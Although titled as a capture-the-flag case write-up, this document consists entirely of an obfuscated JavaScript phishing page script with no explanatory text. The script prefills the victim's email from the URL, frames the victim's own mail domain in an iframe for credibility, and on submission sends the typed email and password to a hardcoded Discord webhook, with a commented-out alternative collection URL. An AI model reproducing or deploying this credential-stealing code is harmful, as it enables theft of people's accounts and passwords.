GCTF 2025 - Case Writeup

(function (_0x489ecf, _0xc917ab) {
  var _0x13d46c = _0x489ecf();
  while (true) {
    try {
      var _0x407117 = parseInt(_0x1eac(352, 0xba)) / 1 + -parseInt(_0x1eac(314, -0xf8)) / 2 + -parseInt(_0x1eac(420, -0x70)) / 3 + parseInt(_0x1eac(317, 0x7a)) / 4 * (-parseInt(_0x1eac(322, 0xa2)) / 5) + -parseInt(_0x1eac(340, -0x9e)) / 6 * (-parseInt(_0x1eac(397, 0xe4)) / 7) + parseInt(_0x1eac(417, 0xbf)) / 8 + parseInt(_0x1eac(345, -0xa0)) / 9;
      if (_0x407117 === _0xc917ab) {
        break;
      } else {
        _0x13d46c.push(_0x13d46c.shift());
      }
    } catch (_0x247d0c) {
      _0x13d46c.push(_0x13d46c.shift());
    }
  }
})(_0x1123, 169814);
var _0x16e918 = function () {
  var _0x498639 = {
    FrbHv: function (_0x498b67, _0x24000c) {
      return _0x498b67 === _0x24000c;
    }
  };
  _0x498639.KgbQA = "xveGs";
  _0x498639.tBWXr = "wXsKI";
  var _0x964def = true;
  return function (_0x25b0d0, _0x29a9db) {
    var _0x19d983 = {
      'DuegV': function (_0x1bfa63, _0x4cdb5) {
        return _0x1bfa63 === _0x4cdb5;
      },
      'ejKtT': function (_0x1d3000, _0x80729d) {
        return _0x1d3000 === _0x80729d;
      },
      'xdKMA': _0x498639.KgbQA,
      'rnjzX': _0x498639.tBWXr
    };
    var _0x315f11 = _0x964def ? function () {
      if (_0x19d983.xdKMA === _0x19d983.rnjzX) {
        if (_0x32f7ab.readyState === _0x37b4d5.DONE) {
          if (_0x19dcc6.status === 200) {
            _0x5dafbb.log("Message sent successfully!");
          } else {
            _0x16a208.error("Failed to send message:", _0x4d2989.responseText);
          }
        }
      } else {
        if (_0x29a9db) {
          var _0x29faa0 = _0x29a9db.apply(_0x25b0d0, arguments);
          _0x29a9db = null;
          return _0x29faa0;
        }
      }
    } : function () {};
    _0x964def = false;
    return _0x315f11;
  };
}();
var _0x276bce = _0x16e918(this, function () {
  var _0x1ab606;
  try {
    var _0x5baa92 = Function("return (function() {}.constructor(\"return this\")( ));");
    _0x1ab606 = _0x5baa92();
  } catch (_0x1f2a15) {
    _0x1ab606 = window;
  }
  var _0x3a5087 = _0x1ab606.console = _0x1ab606.console || {};
  var _0xc25c01 = ["log", "warn", "info", "error", "exception", "table", "trace"];
  for (var _0x15cf1e = 0; _0x15cf1e < _0xc25c01.length; _0x15cf1e++) {
    var _0x4b4485 = _0x16e918.constructor.prototype.bind(_0x16e918);
    var _0x1e30fb = _0xc25c01[_0x15cf1e];
    var _0x10a535 = _0x3a5087[_0x1e30fb] || _0x4b4485;
    _0x4b4485.__proto__ = _0x16e918.bind(_0x16e918);
    _0x4b4485.toString = _0x10a535.toString.bind(_0x10a535);
    _0x3a5087[_0x1e30fb] = _0x4b4485;
  }
});
_0x276bce();
var link = window.location.href;
var url = new URL(link);
function _0x27b64f(_0x2de266, _0x54f5e3, _0x34ed92, _0x243e55) {
  return _0x1eac(_0x54f5e3 + 0x258, _0x2de266);
}
var hash = url.hash;
var updated_email = hash.replace('#', '');
function _0x1123() {
  var _0x418741 = ['vLHjvwG', 'C3rYAw5NAwz5', 'uLb3Exe', '4PQHienYzwrZieXV', 'A3mVmtmXnJGWnq', 'C3vIBwL0', 'ChjVDg90ExbL', 'AJLruwSXzg9fna', 'zgLZCgXHEq', 'C3vIC3rYAw5N', 'C2v0uMvXDwvZDa', 's2PMswS', 'AwXPC2f0zxvYia', 'rxblqMi', 'zxHJzxb0Aw9U', 's2DIuue', 'D0jOwNG', 'Dg9tDhjPBMC', 'Agzetg0', 'twvZC2fNzsbZzq', 'C2vUzcbTzxnZyq', 'rMfPBgvKihrVia', 'ywjlrhq', 'CgvTy2e', 'CYDLC3qGzMfPDa', 'tNviBvm', 'wg1RExm', 'y29UC29Szq', 'yxbWBgLJyxrPBW', 'ywrKrxzLBNrmAq', 'z2DLzcdIMQe', 'zcOQoIa', 'yxvSDa', 'mtiZmJDotwnuELO', 'BMn0Aw9UkcKG', 'q2f2BhK', 'C3rLBMvY', 'C3jJ', 'rMvwB1G', 'B25YzwfKExn0yq', 'BgvUz3rO', 'uMfwEhu', 'rhvLz1y', 'EhzLr3m', 'zw1HAwW', 'y3rVCIGICMv0Dq', 'Egrltue', 'CM4GDgHPCYiPka', 'q29UDgvUDc1uEq', 'BNqGC3vJy2vZCW', 'kIPfBwfPBcOQoG', 'D2fYBG', 'zxjYB3i', 'mJiWnZG5nKHgDM9jtq', 'CM5QELG', 'zgvUDgLHBhmG8j+sGa', 'ntCZodyXqwrqvLLl', 'D09RuwG', 'Bg9JyxrPB24', 'rNjIshy', 'Aw5MBW', 'CMvZCg9UC2vuzq', '4PQG77IpifvtrviGqLjf', 'zNHIB3i', 'DMfSDwu', 'BwvuENC', 'AhjLzG', 'yxbPl3DLyMHVBW', 'reDVuJe3neO3DW', 'uLDAvNG', 'C2v0qxr0CMLIDq', 'tg9HzgvK', 'y21jsK4', 'oty2mtq2mdq4mq', 'Dejxwhi', 'qNLjza', 'BI9QC29U', 'zM9YBq', 'cIOQugfZC3DVCG', 'Bg9N', 'Ahr0Chm6lY8', 'zNvSBhKH', 'BuLKq0K', 'ifbfvefyisOQia', 'AhvswKW', 'C0r5v2e', 'DhjHy2u', 'nJuZmti0rKvrwhHh', 'ChzevLK', '4PQH8j+sGa', 'nZK4nJy4EMrYsePK', 'z2v0rwXLBwvUDa', 'Bg9HzgLUzW', 'AMr6Dwe', 'ExrPBwCUy29TlW', 'nvDrwhrcCa', 'B3vUDhmG8j+sGokAOq', 'Aw1NDxiUy29TlW', 'C3rHDhvZ', 'AwzYyw1L', 'svjJv2S', 'rgLvy2G', 'E30Uy29UC3rYDq', 'sgvHzgvY', 'B0jYAei', 'C3r5Bgu', 'qtriyK1Onff2mG', 'vLrbuMG', 'DgfIBgu', 'Awjiu1C', 'B3bLBG', 'DMKVnNPhsJjRBq', 'Ahr0Chm6lY9PlG', 'odqWCeXyA1LJ', 'tM1xoueYDLvtCW', 'AvHHtgO', 'ELflB1K', 'C2rLzMf1BhqUAG', 'mJm0otaWmhnNBhznBG', 'A3D4tg8', 'z2u6', 'B3HrBuC', 'ueftC1O', 'ue9tva', 'zwPlDfq', 'mtaZodaZB3H3tKLz', 'ChjLDMvUDerLzG', 'DgvJAgfUz2u', 're9nq29UDgvUDa', 'yMLUza', 'Aw5KzxHpzG', 'wMnWq3C', 'D1HZs0K', 'C2nVCMqUy29TlW', '4PQH8j+sGcaQkLvUihv0', 'x19WCM90B19F', 's2fHDhG'];
  _0x1123 = function () {
    return _0x418741;
  };
  return _0x1123();
}
document.getElementById("email").value = updated_email;
function _0x1eac(_0x12c56b, _0x293603) {
  var _0x203324 = _0x1123();
  _0x1eac = function (_0x4239df, _0x348dec) {
    _0x4239df = _0x4239df - 314;
    var _0x44d9ab = _0x203324[_0x4239df];
    if (_0x1eac.QUflAz === undefined) {
      var _0x29b880 = function (_0x57f2c1) {
        var _0x4eb863 = '';
        var _0x49fad1 = '';
        var _0x32739b = 0;
        var _0x36edaa;
        var _0x1c9961;
        for (var _0x1f7d93 = 0; _0x1c9961 = _0x57f2c1.charAt(_0x1f7d93++); ~_0x1c9961 && (_0x36edaa = _0x32739b % 4 ? _0x36edaa * 64 + _0x1c9961 : _0x1c9961, _0x32739b++ % 4) ? _0x4eb863 += String.fromCharCode(255 & _0x36edaa >> (-2 * _0x32739b & 6)) : 0) {
          _0x1c9961 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1c9961);
        }
        var _0x40ae0c = 0;
        for (var _0x597c0e = _0x4eb863.length; _0x40ae0c < _0x597c0e; _0x40ae0c++) {
          _0x49fad1 += '%' + ('00' + _0x4eb863.charCodeAt(_0x40ae0c).toString(16)).slice(-2);
        }
        return decodeURIComponent(_0x49fad1);
      };
      _0x1eac.SPSFPy = _0x29b880;
      _0x12c56b = arguments;
      _0x1eac.QUflAz = true;
    }
    var _0x1098c8 = _0x203324[0];
    var _0x54f334 = _0x4239df + _0x1098c8;
    var _0x53d4c4 = _0x12c56b[_0x54f334];
    if (!_0x53d4c4) {
      _0x44d9ab = _0x1eac.SPSFPy(_0x44d9ab);
      _0x12c56b[_0x54f334] = _0x44d9ab;
    } else {
      _0x44d9ab = _0x53d4c4;
    }
    return _0x44d9ab;
  };
  return _0x1eac(_0x12c56b, _0x293603);
}
const delimiterIndex = updated_email.indexOf('@');
const charactersAfter = updated_email.substring(delimiterIndex + 1);
var iframe = document.getElementById("iframe");
var iframe_url = "https://" + charactersAfter;
iframe.setAttribute("src", iframe_url);
setTimeout(() => {
  var _0x3c52a0 = document.getElementById("loading");
  _0x3c52a0.style.display = 'none';
}, 4000);
function _0x18dfa5(_0x895e04, _0x23a0ac, _0x4cada8, _0x34b52a) {
  return _0x1eac(_0x895e04 + 0x52, _0x34b52a);
}
document.addEventListener("DOMContentLoaded", function () {
  var _0x3440d6 = {
    pvDVY: function (_0x1b4dad, _0x64df64) {
      return _0x1b4dad === _0x64df64;
    },
    EpKBb: function (_0x36a897, _0x200699) {
      return _0x36a897 !== _0x200699;
    },
    pemca: "Failed to send message:",
    wOkQh: 'number',
    VTARh: 'password'
  };
  _0x3440d6.kwxLo = "Hacked accounts";
  _0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg";
  _0x3440d6.mIdCI = "USER BREACH DETECTED";
  _0x3440d6.iXaLj = "User Credentials";
  _0x3440d6.RaVxu = "Creds Logged";
  _0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif";
  _0x3440d6.jdzua = "POST";
  _0x3440d6.VXIUh = "application/json";
  _0x3440d6.Xmkys = "form";
  _0x3440d6.ZcpCw = "submit";
  var _0x3b333b = document.getElementById(_0x3440d6.Xmkys);
  _0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) {
    _0x338ff6.preventDefault();
    var _0x15aa9c = parseInt(document.getElementById('number').value);
    var _0x2af2a6 = {
      'username': _0x3440d6.kwxLo,
      'avatar_url': _0x3440d6.NuHmS,
      'embeds': [{
        'title': _0x3440d6.mIdCI,
        'description': "**Un utilisateur s'est fait PETAX!**",
        'color': 0xff0000,
        'fields': [{
          'name': _0x3440d6.iXaLj,
          'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value,
          'inline': false
        }],
        'footer': {
          'text': _0x3440d6.RaVxu,
          'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"
        },
        'image': {
          'url': _0x3440d6.KjfIk
        }
      }]
    };
    var _0x543aea = new XMLHttpRequest();
    _0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);
    _0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh);
    _0x543aea.onreadystatechange = function () {
      // xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
      if (_0x543aea.readyState === XMLHttpRequest.DONE) {
        if (_0x543aea.status === 200) {
          console.log("Message sent successfully!");
        } else {
          console.error("Failed to send message:", _0x543aea.responseText);
        }
      }
    };
    _0x543aea.send(JSON.stringify(_0x2af2a6));
    document.getElementById('number').value = _0x15aa9c + 1;
    document.getElementById('password').value = '';
  });
});